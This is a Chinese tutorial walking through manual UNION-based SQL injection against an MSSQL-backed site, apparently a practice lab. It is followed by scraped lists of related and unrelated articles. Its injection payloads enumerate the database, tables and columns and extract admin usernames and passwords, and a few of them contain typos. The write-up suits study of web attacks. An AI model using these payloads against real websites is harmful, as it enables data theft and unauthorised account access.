手工注入——sql server (mssql)注入实战和分析
前言
首先要对sql server进行初步的了解。
常用的全部变量
@@version:返回当前的Sql server安装的版本、处理器体系结构、生成日期和操作系统。
@@servername:放回运行Sql server的本地服务器名称
top
在sql server,没有MySQL中的limit控制符,如果实现limit控制符功能则可以使用top进行代替。
正文
如果对方网站管理员没有关闭错误消息提示,那么
;declare @d int //判断sql server 支持多行语句查询
and (select count(1) from [sysobjects])>=0 //是否支持子查询
and user >0 //获取当前数据库用户名
and db_name>0 //获取当前数据库名称
and (select count(1) from [sysobjects])>=0 //当前数据库名
and 1=(select @@servername) //本地服务名
这里就不一一列举了。
如果网站管理员关闭了错误提示,那就只能使用联合查询和盲注了。下面的靶场实例就是关闭错误页面提示的情况下,通过联合查询获得管理员账号和密码。
第一步,判断注入点
通过观察,发现公告的地方可以进行尝试,如下图
点击公告,然后咱们 通过 and 1=1 和and 1=2 发现报错, 说明这里是注入点。如下图
第二步,判断字段数
通过 order by 语句,发现 order by 4 返回正常,order by 5 报错,说明存在四个字段数,如下图。
第三步,爆库
使用联合查询,需要注意的是,使用联合查询时需要前面不可查询,可以将参数2改为-2,也可以构造 and 1=2 两种方式都可以。为了避免出现错误,四个字段,都用 null 代替,构造如下语句
union all select null,null,unll,unll
然后用数字依次代替,判断回显位置,发现第二个字段显示在页面中,将第二个null 替换为 (select db_name()),具体语句为
union all select 1,(select db_name()), null, null
结果为下图,爆出了数据库
第四步,爆表
知道数据库名后,构造如下语句,爆出表名
union all select 1,(select top 1 name from 库名.dbo.sysobjects where xtype='u'), null,null
结果如下图
第五步,爆字段
通过构造如下语句,可以爆出所有字段,
union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects), null,null
结果如下图
第六步,获取数据
通过构造如下语句
union all select 1,(select top 1 username from manage),null,null union all select 1,(select top 1 password from manage),null,null
结果如下图
第七步,解密,登陆。实战结束
sql server(mssql)手工注入总结
第一步,判断注入点。通过 and 1=1 和and 1=2 判断,发现存在注入点,且为数据型。
第二步,判断字段数 通过 order by 语句。
第三步,判断回显位置 通过 union all select null,null,unll,unll 用数字依次替换,发现,第二个位置回显到页面上。
第三步,爆库,通过 union all select 1,(select db_name()), null, null (使用联合查询时,要使得前面不可查询,所以将2改为-2)
第四步,爆表,通过 union all select 1,(select top 1 name from 库名.dbo.sysobjects where xtype='u'), null,null
第五步,爆字段,通过 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects), null,null (变换后面得数字1,可以查询出所有字段)
第七步,获取数据,通过 union all select1, (select top 1 字段 from 表名),null,null
第八步,解密,登陆。
手工注入——sql server (mssql)注入实战和分析的更多相关文章
- sql server(mssql)联合注入
sql server(mssql)联合注入 sql server简介: SQL Server 是Microsoft 公司推出的关系型数据库管理系统.具有使用方便可伸缩性好与相关软件集成程度高等优点,可 ...
- sql System.Data.SqlClient.SqlError: 无法覆盖文件 'C:\Program Files\Microsoft SQL Server\MSSQL\data\itsm_Data.MDF'。数据库 'my1' 正在使用该文件的解决方案
对数据库备份进行还原时遇到“sql System.Data.SqlClient.SqlError: 无法覆盖文件 'C:\Program Files\Microsoft SQL Server\MSSQ ...
- SQL Server 性能优化实战系列(二)
SQL Server datetime数据类型设计.优化误区 一.场景 在SQL Server 2005中,有一个表TestDatetime,其中Dates这个字段的数据类型是datetime,如果你 ...
- windows系统与SQL SERVER 2008数据库服务性能监控分析简要
软件系统性能测试体系流程介绍之windows系统与SQL SERVER 2008数据库服务性能监控分析简要 目前大部分测试人员对操作系统资源.中间件.数据库等性能监控分析都是各自分析各自的监控指标方式 ...
- SQL Server 性能优化实战系列(一)
数据库服务器主要用于存储.查询.检索企业内部的信息,因此需要搭配专用的数据库系统,对服务器的兼容性.可靠性和稳定性等方面都有很高的要求. 下面是进行笼统的技术点说明,为的是让大家有一个整 ...
- iBatis + SQL Server 项目开发实战小结
几年前跟随项目经理做的一个ERP小项目,自己业余时间整理的开发手册,供参考. 开发环境配置:编程环境为Microsoft Visual Studio 2010,数据库是SQL Server 2008 ...
- sql server 数据分析优化实战(一)——SQL语句优化
前言 在我们进行数据分析的时候,首要的目标是根据业务逻辑,通过编写SQL代码得到我们想要的结果,这是毋庸置疑的.一般情况下,由于我们分析的数据量比较少,体会不出SQL语句各种写法的性能优劣,对SQL代 ...
- SQL Server磁盘I/O性能分析
SQL Server中的I/O操作类型: 1.对于内存中没有缓存的数据,第一次访问时需要将数据从所在的页面从数据文件中读取到内存中 2.在任何Insert/Update/Delete提交前,SQL S ...
- SQL Server 2012 列存储索引分析(翻译)
一.概述 列存储索引是SQL Server 2012中为提高数据查询的性能而引入的一个新特性,顾名思义,数据以列的方式存储在页中,不同于聚集索引.非聚集索引及堆表等以行为单位的方式存储.因为它并不要求 ...
随机推荐
- 手写Promise原理
我的promise能实现什么? 1:解决回调地狱,实现异步 2:可以链式调用,可以嵌套调用 3:有等待态到成功态的方法,有等待态到失败态的方法 4:可以衍生出周边的方法,如Promise.resolv ...
- 软件WEB自动化测试工具之智能元素定位
江湖一直有着这么一句名言“天下武功,唯快不破".那么在软件测试领域,自然而然我们会想到软件自动化测试.软件自动化测试的实现自然离不开软件自动化测试工具.软件自动化测试工具是软件自动化的载体, ...
- flask 对于用户登录保持状态 flask_login
先加载flask_login ext.py 在app下的__init__.py 进行引用把,我就不写了 login_manager = LoginManager() # 如果没有登录则重定向到该蓝图 ...
- MATLAB神经网络(5) 基于BP_Adaboost的强分类器设计——公司财务预警建模
5.1 案例背景 5.1.1 BP_Adaboost模型 Adaboost算法的思想是合并多个“弱”分类器的输出以产生有效分类.其主要步骤为:首先给出弱学习算法和样本空间($X$,$Y$),从样本空间 ...
- Pocket+Evernote 打造个人知识库体系
俗话说巧妇难为无米之炊,还是那个不太恰当的例子. 写作就好比人类的消化系统,想要持续的输出...那么就要持续的输入... 今天就来说一说如何进行持续有效的输入. 信息处理过程 先放一张图,这是我的整个 ...
- js Number方法总结
Number构造属性 Number.EPSILON // 两个可表示(representable)数之间的最小间隔. Number.MAX_SAFE_INTEGER // JavaScript 中最大 ...
- JavaScript表单序列化的方法详解
本文介绍下,在javascript中实现表单序列化的方法,通过实例加深理解,有需要的朋友参考下吧. 在JavaScript中,可以利用表单字段的type属性,连同name和value属性一起实现对表单 ...
- 【Weiss】【第03章】练习3.19:计算后缀表达式
[练习3.19] 编写一个程序计算后缀表达式的值. Answer: 计算的方法书上说得很明白了,看代码行,没写错误检测[因为懒]. 测试代码: #include <iostream> #i ...
- oracle中表空间管理,游标
一.表空间 oracle使用表空间来管理数据库的对象(表,序列,过程,函数,游标等). oracle的逻辑结构(看不见的):oracle数据库 => 表空间 => 表 序列 过程等对象. ...
- LoadRunner录制HTTPS协议脚本
学习LoadRunner录制HTTPS协议脚本,其实是一个意外的收获.当我拿到要测试的URL时,我像以前的步骤一样录制脚本,但是录制结束后,发现并没有生成脚本,开始以为是LoadRunner的原因,我 ...